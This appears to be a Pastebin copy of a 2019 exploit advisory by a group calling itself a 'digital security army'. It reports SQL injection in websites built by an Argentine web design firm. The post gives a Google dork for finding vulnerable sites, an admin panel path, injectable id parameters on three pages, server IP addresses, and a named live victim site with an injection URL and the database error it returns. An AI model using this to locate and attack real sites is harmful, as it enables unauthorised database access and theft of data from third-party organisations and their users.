API tools faq
paste
KingSkrupellos

Grupo LosGrobo Web Design Argentina SQL Injection

KingSkrupellos
Jan 9th, 2019
66
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.40 KB | None | 0 0
raw download clone embed print report
  1. ################################################################
  2.  
  3. # Exploit Title : Grupo LosGrobo Web Design Argentina SQL Injection Vulnerability
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 10/01/2019
  7. # Vendor Homepage : losgrobo.com ~ grupolosgrobo.com
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : intext:''Grupo LosGrobo'' site:ar
  12. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  13. Special Elements used in an SQL Command ('SQL Injection') ]
  14. # Cyberizm Exploit Reference Link :
  15. cyberizm.org/cyberizm-grupo-losgrobo-web-design-argentina-sql-injection.html
  16.  
  17. ################################################################
  18.  
  19. # Admin Panel Login Path :
  20.  
  21. /reportesUPJ/index.aspx
  22.  
  23. # SQL Injection Exploit :
  24.  
  25. /novedades.php?id=[SQL Injection]
  26.  
  27. /mercado.php?id=[SQL Injection]
  28.  
  29. /rse_notas.php?id=[SQL Injection]
  30.  
  31. ################################################################
  32.  
  33. # Example Vulnerable Site =>
  34.  
  35. Note : (192.185.3.54) => There are 106 domains hosted on this server.
  36.  
  37. Note : (192.185.30.132) => There are 63 domains hosted on this server.
  38.  
  39. [+] upj.com.ar/novedades.php?id=719%27 =>
  40.  
  41. [ Proof of Concept ] => archive.fo/2kEkb
  42.  
  43. ################################################################
  44.  
  45. # SQL Database Error :
  46.  
  47. Warning: session_start() [function.session-start]: Cannot send session cookie -
  48. headers already sent by (output started at /home/upjcom/public_html/novedades.php:5)
  49. in /home/upjcom/public_html/novedades_include.php on line 2
  50.  
  51. Warning: session_start() [function.session-start]: Cannot send session cache limiter -
  52. headers already sent (output started at /home/upjcom/public_html/novedades.php:5) in
  53. /home/upjcom/public_html/novedades_include.php on line 2
  54.  
  55. Consulta no vlida: You have an error in your SQL syntax; check the manual that
  56. corresponds to your MySQL server version for the right syntax to use near
  57. '' and state=1 order by created desc LIMIT 0,5' at line 1
  58. Consulta completa: SELECT id, date_format(created,) AS fecha ,
  59. title, `introtext`, alias FROM jos_content where catid=47 and id=719' and state=1
  60. order by created desc LIMIT 0,5
  61.  
  62. ################################################################
  63.  
  64. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  65.  
  66. ################################################################
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!